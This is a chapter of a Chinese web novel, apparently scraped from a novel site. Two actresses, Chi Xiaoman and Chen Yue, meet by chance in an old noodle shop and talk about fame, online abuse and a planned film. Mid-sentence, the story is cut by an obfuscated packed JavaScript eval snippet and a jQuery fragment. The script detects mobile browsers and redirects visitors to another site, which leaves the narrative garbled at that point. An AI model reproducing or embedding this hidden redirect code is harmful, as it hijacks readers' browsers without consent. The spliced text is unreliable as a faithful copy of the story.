入了夏,北京热起来,路上行人都换上夏季短衫。只不过好像和之前迟小满在忙碌中抽空回到这里时没什么区别,仍旧行色匆匆,埋入不同高楼大厦的冷气中。
车从机场开回住处的路上。
迟小满抓紧时间和之前合作过的一位制片联系,却被从车窗晒进来的太阳晃了下眼。
和制片约好见面时间,挂了电话。她看见那些金光灿灿的街道。
恍惚间车转弯。
迟小满瞥见个熟悉的路牌,看见窗外的高楼大厦,愣了片刻,才发现这里已经和记忆中的老街旧招牌有了出入。
这里是幸福路。
却不是她记忆中的幸福路。
惊悸中迟小满让司机停了车,让其他人先回去休息。
自己压低鸭舌帽帽檐。
捂紧口罩。
下了车,在极为陌生的高楼大厦间迷迷糊糊地转了挺久,都没找着从前的香水巷,倒是碰见之前常去的面馆。
面馆名字也挺有意思。
就叫幸福面馆。
印象中第一次来北京,迟小满在这里吃了自己第一顿饭。当时还高兴得不得了,觉着自己刚落地就遇着幸福面馆,欢天喜地地觉着,只要吃了幸福面馆的面,以后就真的能幸福,走上康庄大道。
大概是行政规划没把幸福面馆划进去,那边的香水巷早已变成高楼大厦,幸福面馆却仍然是当年那个红底黄字招牌,挂着沓不讲究的厚塑料布,上面粘着不少油烟,对着进店出店的客人迎来送往。
黄昏时刻,夕阳在脚下成了影子。迟小满在门口踩着自己的影子,踌躇不前。
自从她搬出幸福路,就再也没来过这里。既怕触景生情,又怕偶然碰见陈樾。
只是现在。
她既也没了触景生情的机会,也没可能还会再这里碰见常居香港、甚至心甘情愿去尼泊尔当志愿者,都再也不会回北京,不会来这里的陈樾。
既然两种可能都没有,又是个偶然的机会。
迟小满决定进去。
她捂紧口罩低着头,掀开那塑料布,想找个角落坐着,但刚一踏进去,就和那正端面出来的老板正面碰上——
以前迟小满总觉着,人要多说些好话,少说些丧气话,日子才会过得顺。从前她们经常来这里吃面,也是这个道理。
但那个时候日子苦,经常点面不加蛋,有的时候光景不好没多少活,特别苦,还两个人三个人分着吃一碗。老板觉得她们可怜,偶尔还会多给她们下点。
也不知道老板还能不能认得她。
迟小满捂紧口罩,站在门口忐忑地想。
但老板瞅见她站在门口不进来,便只是把手里那碗面端给客人,和她隔着点距离,用围裙擦了擦手,看着她这边,笑着问,
“又来吃面啊?”
没想过老板还能认得她。
迟小满有点发懵,张了张唇,仓促间不知道如何回答。
但她还没来得及回应。
便从身后听见声朦朦胧胧的笑。
也听见那道熟悉到洇在她骨子里的女声,带着笑意,从她身后清晰而缓慢地出现,
“嗯,还是一碗鸡蛋面。”
9. 「二零二三」
真要说从没去想过,有一天能在幸福面馆和陈樾各自光鲜亮丽地碰见,是假的。
在迟小满对于这个场景的设想里——
一定是深夜,幸福面馆挂着那盏黄旧老灯,头顶飞蛾纷飞,她会和陈樾面对面坐着,各自客客气气地道声“你好”,最后再和和气气微笑着分开。
像两个人都放下那不值一提的旧过往,各自过上十年前做梦都想要的坦荡新人生,有了最合适的结局。
可真要到了这天。
迟小满却发现——如果不是陈樾主动和她打招呼,并且不计前嫌地邀请和她坐同一张桌子,自己可能连声“你好”都说不出来。
这大概也是她即使想好如何应对,却也始终避着,不敢再踏进这条路的原因。
饭桌上。
两碗热气腾腾的面被端上来,这么多年老板只涨价两块,份量却没半点偷工减料。水蒸气在她们中间飘摇,模糊了对上的视线。
最开始她们没人说话。只有旁边那桌有人窸窸窣窣地讨论着——
“这边什么时候拆的?”
“就这一两年吧。”
“刚拆的?”
“对啊,听说这香水巷楼里有个钉子户,好几个月都挺着不让拆。到去年年底才总算签了字。”
“这不,这钉子户一签字,那地下室前几年还住了不少北漂小年轻,也都一窝蜂地像蚂蚁逃难那样搬了出来,一眨眼,楼也就建了起来。”
迟小满低头,拿起筷子,想要去把自己那碗面挪过来。
却连碗边都没碰到——
因为在那之前。
陈樾把自己那碗加了两个鸡蛋的面推过来,送到她面前。
把她那碗光秃秃的面推走,才轻轻地说,“都已经是大明星了,还不给自己加个蛋吗?”
迟小满愣住。
不知怎么被那水蒸气蒸热了眼。
也不知道为什么明明是同一个意思,方阿云的话她能随心所欲地接,陈樾的话她却无从接起。
迟小满低着脸不敢去看陈樾。
从筷子筒里找了两双一次性筷子出来,拆了包装,慌慌张张想要递过去。
却又收回来。
仓促刮了刮筷子上的碎屑。
重新递过去。
又怕陈樾嫌她手碰过不干净。
便又瑟缩着想收回来,顺便拿双新的没拆封过的给陈樾。
陈樾倒是没多在意,在她去找新的之前,从她手中接过了那被她仔仔细细刮去木屑的筷子,
“给我吧,我没那么娇气。”
迟小满慢慢收回手。
才盯着自己面前那碗加了两个鸡蛋的面,语速很慢地说,
“我可能……就是习惯了。”
陈樾的动作一顿。
迟小满没继续说话,只低头咬了口热软软的鸡蛋。
本以为陈樾会安安静静和她吃完这碗面。但可能是这么多年未见,陈樾让人如沐春风的本领又增强。她停了会,又用那种听起来像电影镜头外面的画外音台词的柔软语调,说,
“你是不是又瘦了很多?”
声音很轻,听上去不是要求,也不是教训。只像年长者真心实意的关心,暗示她这个习惯并不算是太好。
“有吗?”迟小满没去看陈樾的眼睛,也不敢去确认陈樾看向她的眼神到底是关切多,还是于心不忍更多,“可能是前阵子太忙了。”
“那身体恢复怎么样?”
“挺好的,住了一天院就回去了。后来也没出什么问题。”
面吃了一口,迟小满小心翼翼地嚼着,还是原来的味道,下了肚,舒舒服服地托着胃。她白天也没吃什么东西,这会终于吃了点,整个人状态终于恢复不少。
“那你呢?是不是也挺忙的啊?”可能是几句寒暄下来,状态没绷得那么紧。迟小满没想过自己还能用开玩笑的语气称呼陈樾,“影后。”
“嗯,是挺忙的。”陈樾说。
本来也只是客套。迟小满点点头,以为这个话题就此作罢。
但没想到安静一会,陈樾还仔细回忆起来,不太避嫌地和她说起后面的事,
“总共接了十几个采访,国内国外拍了几套杂志,之后经纪人就从她邮箱里,每天挑二十多个剧本印给我让我看。不过后面这么多天,除了看剧本我也没什么其他事。”
“算下来应该没有你忙。”
“我……”迟小满愣了一秒,把筷子放下,才声音细细地说,“我是也挺忙的。”
这么多天她连轴转到处飞,不仅要忙之前堆积下来的活,还忙着和宋莺莺聊解约。
也尽量抽空去联系人,想把电影班底早点聚起来后面好开工。
按道理这些都不该和陈樾说。
毕竟她们走的路早已不同,一个是天上飞人常年在热搜打转,一个常居香港愿意沉淀下来拍电影,对彼此的近况也都不太了解。
但这么和陈樾面对面坐着,迟小满一时之间也找不到其他话要说,下意识便啰里八嗦地把自己的情况往外倒,
“本来早就可以休息的,但就是之前受伤,很多事情都延后了。
现在合同又快到期了,所以也得把现在签好的商务合同这些都履行了,后面好……”
说到这里,迟小满突然说不出来话。她无法确认,当她以一种“告知者”的姿态告诉陈樾,自己打算把《霓虹》拍出来的事情,对陈樾来说是否也是一种冒犯。
上次热搜之后,她们一句没聊过。
关于《霓虹》最后的消息。
也都停在陈樾那一句“没什么不相信的”。
犹豫间,迟小满打算开口向陈樾解释。
可陈樾却先开口了,“那么忙还想起到这里来吃面?”
迟小满的思绪被轻而易举带偏。她沉默片刻,说,“就是路过。”
陈樾不说话,隔着昏黄日光望她。
迟小满低了头。
吃了口面,几乎是用最慢的速度嚼完,才慢慢的说,
“可能,因为人都是后知后觉的吧。”
她吃面的动作和陈樾的记忆有着极大出入。从前迟小满从来不在意吃相,那时跑剧组留着吃盒饭的时间根本没多少,累了一天谁能忍住小口小口吃饭?
但现在她每一口都吃得很小心,仿佛有人在她面前摆着面镜子,摆着个怼到脸边的镜头,让她吃一口就检查一遍——
自己咀嚼的动作是否得体,嘴边是否有残留,脸部表情是否经得起一帧一帧去截图,然后放大,用以证明她是否足够美丽,承担得起那么多人的喜欢、向往和迷恋。
“也可能因为我总算有钱了吧。”
连胃口也变小很多,只吃那么小一口,就放下筷子,朝她笑,
“毕竟有钱了,才会想起来回头吃这一碗随时都能吃到的面,才会闲着没事跑过来追忆往昔,不是吗?”
以至于陈樾尽管于心不忍,却不得不反复提起从前,妄想从此时此刻的迟小满眼中,瞥见任何一点过去的踪影,
“那你突然想要把《霓虹》拍出来,也是因为有钱了吗?”
大概没想到陈樾会问得那么直接。
迟小满愣了两三秒。
柔软
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506942|186112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的语调变得很轻很轻,“你变了好多啊。”
陈樾哑然。
她没想过迟小满会是先说出这句话的人。
沉默片刻。
迟小满再次轻轻开了口,
“可能也是因为我有病吧。”
陈樾张了张唇,突然发现自己无法说话。
迟小满却笑了笑。
仿佛是在和她开一场无关紧要的玩笑,“你没看到外面的评论吗?都这么说,说我有病,躁郁症,失心疯,还要祝我得胃癌之类的……”
说到这里。
她没有再看她。
低着的双眼被雾气蒸得很模糊,
“那你最开始看到我要拍《霓虹》的消息,会不会也这么想啊?”
“不会。”陈樾不知道这九年来迟小满身上究竟发生多少,才会在一个简单的问题过后,以一种防备的姿态露出这种反应。
她给出的答案似乎并没有在迟小满的意料之外。迟小满迟钝点点头,说,“抱歉。”
语气真诚。
仿佛是真的做出什么无法弥补的错事,要给她道歉,
“我刚刚不是故意要说这些的。”
“哪些?”
“这些话很难听。”迟小满笑着,眼睛望住她,隔着雾气的一双月牙,“我不该随便和人说,惹得别人也跟着我嫌烦。”
也不是故意卖惨和自嘲。迟小满很清楚,这是她自己该要承受的代价,和陈樾无关,和任何人都无关。有些话说多了,就只能得到个“卖惨”和“怨妇”的印象。
原本是该给出更轻松些的回答的。例如——嗯,就是有钱了。或者——想拍就拍,不可以吗?
可现在一不留神话说出口,迟小满就算觉得后悔,也没机会再继续解释,只好再次低头,去吃那碗早已经变凉的鸡蛋面。
是在她安安分分吃了两口,每一口都实实在在地吞到肚子里的时候。
才听见陈樾问,
“为什么要对我说抱歉?”
迟小满动作顿住。
餐桌上已经安静许久,她没想过陈樾还会接着刚刚的话题继续往下说。
她抬眼。
撞见陈樾的眼睛。
也没想好解释。
便只是习惯性先朝对方笑了下,
“我……”
“迟小满。”
临近傍晚,幸福面馆,黄昏时刻落幕。
陈樾背对着塑料布,脸被浸在暮色中,打断她,像是一句话忍了很久终于不再忍,
“你可不可以不要这样?”
迟小满愣住。
陈樾依旧看她,也依旧像是那个对她循循善诱的年长者,声线像冷静,又像温情,
“不要随时随地都在脸上这样笑,不要每吃一口面都小心翼翼,不要说每一句话都在观察别人的反应,不要随随便便道歉,不要因为别人不说话,就反省自己以为说错话?”
话连着说了这么多,陈樾突然觉得后悔。她不知道自己是否仍然具备和迟小满说这些的资格,也不知道迟小满听见这些会不会觉得她多管闲事,甚至……就像她发的那两次微博一样。
“迟小满,你……”
但等她犹豫着看见水蒸气散开,迟小满的眼睛从其中显现——湿润,漂亮,比起从前少了很多倔强,不再像火,也不再炯炯,让人想起奄奄一息沉到黑洞的太阳。
才悲哀又沉默地发现,原来自己真正想要问的问题,从来都还没有机会问出口——
迟小满,你可不可以。
不要在我看不到的时候,偷偷变成我不认识的样子?